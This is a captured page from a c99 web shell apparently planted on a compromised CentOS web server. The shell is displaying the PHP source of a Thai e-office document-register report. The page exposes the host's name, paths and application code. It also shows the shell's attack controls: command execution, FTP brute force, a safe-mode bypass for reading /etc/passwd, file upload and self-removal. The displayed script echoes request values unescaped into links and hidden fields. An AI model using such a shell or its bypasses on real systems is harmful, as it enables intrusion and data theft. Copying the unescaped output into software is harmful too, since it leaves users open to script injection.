!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printRepRegisDocSendOutYNex.php (9.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
set_time_limit
(0);
header('Content-type: application/xls');
header('Content-Disposition: attachment; filename="printRepRegisDocSendOutYNex.xls"');
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"functforRptEx.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDepartment.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDoc = new Documents($oC);    
$oDoc2 = new Documents($oC);    
$oDP = new Department($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();

    
?>
<title>รายงานทะเบียนหนังสือภาพรวมของทั้งหน่วยงาน</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<body>
<div id="tabmargin">
       <form name="ff" method="post" action="printRepRegisDocSendOutYNex.php">
          <div align="center">
          </div><br>
        <table width="100%" align="center">
          <tr bgcolor="#FFFFFF">
        <td width="99%" align="center"><table width="99%"  cellpadding="1" cellspacing="1">
            <tr> 
              <td height="22" colspan="10"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>
               <?
                 
//------receive 
                
$oDt->SearchRepReceiveDocName();
                while(
$oDt->GetRecord()){
                    
$dt1N=$oDt->DtID."1N";
                    
$dt1Y=$oDt->DtID."1Y";
                    if(
$typeshow==$dt1N){
                             echo 
"รายงานทะเบียนรับ".$oDt->DtName
                            
$DtID=$oDt->DtID;
                            
$RsID=1;
                            
$docsend="N";
                     }
                    if(
$typeshow==$dt1Y){
                             echo 
"รายงานทะเบียนรับ".$oDt->DtName." (รับจากหน่วยงานภายนอก)"
                            
$DtID=$oDt->DtID;
                            
$RsID=1;
                            
$docsend="Y";
                     }                     
                     
$dt2N=$oDt->DtID."2N";
                     
$dt2Y=$oDt->DtID."2Y";
                    if(
$typeshow==$dt2N){
                            echo 
"รายงานทะเบียนส่ง".$oDt->DtName." (ยุติหนังสือ)"
                            
$DtID=$oDt->DtID;
                            
$RsID=2;
                            
$docsend="N";
                    }
                    if(
$typeshow==$dt2Y){
                            echo 
"รายงานทะเบียนส่ง".$oDt->DtName." (ไม่ยุติหนังสือ / ส่งให้หน่วยงานภายนอก)"
                            
$DtID=$oDt->DtID;
                            
$RsID=2;
                            
$docsend="Y";
                    }                    
                 } 
                 
?>
               </strong></font></td>
            </tr>
            <tr> 
              <td width="73%" height="22" colspan="9"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong><? echo $GLOBALS["COLLEGENAME"]; ?> 
        
            <? if(th2a($yearDoc) == 0){  
                          echo 
"ตั้งแต่วันที่ "; list($day1,$month1,$year1) = preg_split('[/]',$start);  $s=($year1+543)."-".$month1."-".$day1;   echo abbreDate2($s,'/');                        
                        echo 
" ถึง "; list($day2,$month2,$year2) = preg_split('[/]',$end);  $e=($year2+543)."-".$month2."-".$day2;   echo abbreDate2($e,'/');                        
                    }else{
                        echo 
"ประจำปี ".a2th($yearDoc);
                    }
            
?>
                </strong></font></td>
            </tr>
          </table>

    <?  
    $flag 
0;
    if(
th2a($yearDoc) == 0){
        list(
$dd$mm$yy) = preg_split('[/]',$start);
        
$startT=($yy+543)."-".$mm."-".$dd;
        list(
$dd$mm$yy) = preg_split('[/]',$end);
        
$endT=($yy+543)."-".$mm."-".$dd;
        
$oDoc2->SearchRsIDDtIDfDeleteDocNoSubject_Date_sendOutDocYN($RsID,$DtID,$startT,$endT,th2a($DocTypeNoStart),th2a($DocTypeNoEnd),th2a($DocSubject),$MaxDocGroup,$docsend);
    }else{
        
$yy th2a($yearDoc);
        
$startT $yy."-01-01";
        
$endT $yy."-12-31";
        
$oDoc2->SearchRsIDDtIDfDeleteDocNoSubject_Date_sendOutDocYN($RsID,$DtID,$startT,$endT,th2a($DocTypeNoStart),th2a($DocTypeNoEnd),th2a($DocSubject),$MaxDocGroup,$docsend);
    }
    while(
$oDoc2->GetRecord()){  
                list(
$DocD,$DocT) = preg_split('[ ]',$oDoc2->DocDateCreate);
                
$a=$DocD;
                 if(
$d!=$DocD){  $d=$a;
    
?>
                    <table width="99%" border="0" cellpadding="0" cellspacing="0" align="center" style="border-collapse:collapse">
                    <tr><td align="right" colspan="8">
                    <font size="2"  face="MS Sans Serif, Tahoma, sans-serif"><strong>
                    วันที่ลงทะเบียน<? echo ShowNameRSDoc2($RsID); ?>หนังสือ&nbsp;<? echo abbreDate2($DocD,'/');?></strong></font>
                    &nbsp;</td></tr></table>
     <?    //show date and column?>
                 <table width="99%" border="1" cellpadding="0" cellspacing="0" align="center" style="border-collapse:collapse" bordercolor="#000000">
                 <? //------------------header  
                 
?>
                <tr align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"> 
              <td width="5%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>เลข<br>ทะเบียน<br><? echo ShowNameRSDoc2($RsID); ?></strong></font></td>
              <td width="11%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>ที่</strong></font></td>
              <td width="8%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>ลงวันที่</strong></font></td>
              <? if($RsID == 1){  $sizef="17%"$sizet="8%"; }else if($RsID == 2){ $sizef="8%"$sizet="17%";   }?>
              <td width="<? echo $sizef?>"><font  face="MS Sans Serif, Tahoma, sans-serif"><strong>จาก</strong></font></td>
              <td width="<? echo $sizet?>"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>ถึง</strong></font></td>
              <td width="18%"><font  face="MS Sans Serif, Tahoma, sans-serif"><strong>เรื่อง</strong></font></td>
              <td width="15%"><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>การปฏิบัติ</strong></font></td>
              <td width="9%" ><font   face="MS Sans Serif, Tahoma, sans-serif"><strong>หมายเหตุ</strong></font></td>
            </tr>        
            <?  
            $oDoc
->SearchRsIDDtIDfDeleteDocNoSubjectDate_sendOutDocYN($RsID,$DtID,$oDoc2->DocDateCreate,th2a($DocTypeNoStart),th2a($DocTypeNoEnd),th2a($DocSubject),$MaxDocGroup,$printorder,$docsend);
            while(
$oDoc->GetRecord()){  
          
//------------------data 
              
if($oDoc->DocPID=="0" || $oDoc->DocPID==""){  $searchDoc=$oDoc->DocID; }else{ $searchDoc=$oDoc->DocPID; }
             
?>
                    <tr valign="top"> 
                      <td align="center" valign="top"><font   face="MS Sans Serif, Tahoma, sans-serif"><? echo a2th($oDoc->DocTypeNo); ?></font></td>
                      <td align="center" valign="top"><font   face="MS Sans Serif, Tahoma, sans-serif"><?  echo $oDoc->DocNo?></font></td>
                      <td align="center"><font   face="MS Sans Serif, Tahoma, sans-serif"><? echo abbreDate2($oDoc->DocDate,'/');?></font></td>
                          <td><font   face="MS Sans Serif, Tahoma, sans-serif"><?  echo "&nbsp;".$oDoc->DocFrom;  ?></font></td>
                      <td><font   face="MS Sans Serif, Tahoma, sans-serif"><?  echo "&nbsp;".$oDoc->DocTo;  ?></font></td>
                      <td><font   face="MS Sans Serif, Tahoma, sans-serif">
                      <a  onClick = "newPage('printDetailRepRegisDoc.php?DocID=<? echo $oDoc->DocID?>&typeshow=<? echo $typeshow?>&dlcid=<? echo $dlcid?>&DocSubject=<? echo $DocSubject?>&start=<? echo $start;?>&end=<? echo $end?>&yearDoc=<? echo $yearDoc?>&DocTypeNoStart=<? echo $DocTypeNoStart?>&DocTypeNoEnd=<? echo $DocTypeNoEnd?>&printorder=<? echo $printorder?>&printorder=<? echo $printorder?>')" style="cursor:pointer;"><?  echo "&nbsp;".$oDoc->DocSubject;  ?></a>
                      </font></td>     
                    <td ><font  face="MS Sans Serif, Tahoma, sans-serif"><?  echo searchPsAct($oDoc->DocID,$RsID); ?><?  if($oDoc->PtID!=="1"){  searchDocSendToPs($oDoc->DocID,$RsID); }?></font> </td>
                   <td><font   face="MS Sans Serif, Tahoma, sans-serif"><? echo "&nbsp;".$oDoc->DocShortDesc;  ?><? //echo wordwrap($oDoc->DocShortDesc, 14, "\n", true);    ?> </font></td>
                    </tr>
<?            }  //while data
            
?>
             </table>
            <? $flag++;

     }  
// end while oDoc 
                    
if($flag == 0){
           
?>
                    <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>"> 
                      <td colspan="10" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" >** 
                        ไม่พบรายการ **</font></td>
                    </tr>
                    <? ?>
          </table>
        </td>
                  </tr>
                </table></td>
            </tr>
          </table>
    <input type="hidden" name="typeshow" id="typeshow"  value="<? echo $typeshow?>" >
  <input type="hidden" name="dlcid"  id="dlcid"  value="<? echo $dlcid?>" >
  <input type="hidden" name="DocSubject"  id="DocSubject"  value="<? echo $DocSubject?>" >
  <input type="hidden" name="start" id="start" value="<? echo $start?>" >
  <input type="hidden" name="end" id="end"  value="<? echo $end?>" >
  <input type="hidden" name="yearDoc" id="yearDoc"  value="<? echo $yearDoc?>" >
  <input type="hidden" name="DocTypeNoStart" id="DocTypeNoStart"  value="<? echo $DocTypeNoStart?>" >
  <input type="hidden" name="DocTypeNoEnd"  id="DocTypeNoEnd" value="<? echo $DocTypeNoEnd?>" >
  <input type="hidden" name="printorder" id="printorder"  value="<? echo $printorder?>" >
  <input type="hidden" name="print" id="print"  value="พิมพ์" >
          </form><br>
</div>
</body>
<script>
 function newPage(linkurl){ 
             FileName = linkurl;
            var w=700;  
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width="+w;
            window.open(FileName,"",strOption);
}
 function showline(p){ 
             FileName = "showlinedocTable.php?searchDoc="+p;
            var w=900;  
            var h=500;
            strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
function showDocex(){
    document.ff.submit();
}
function showDocex2(){
    window.print();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0135 ]--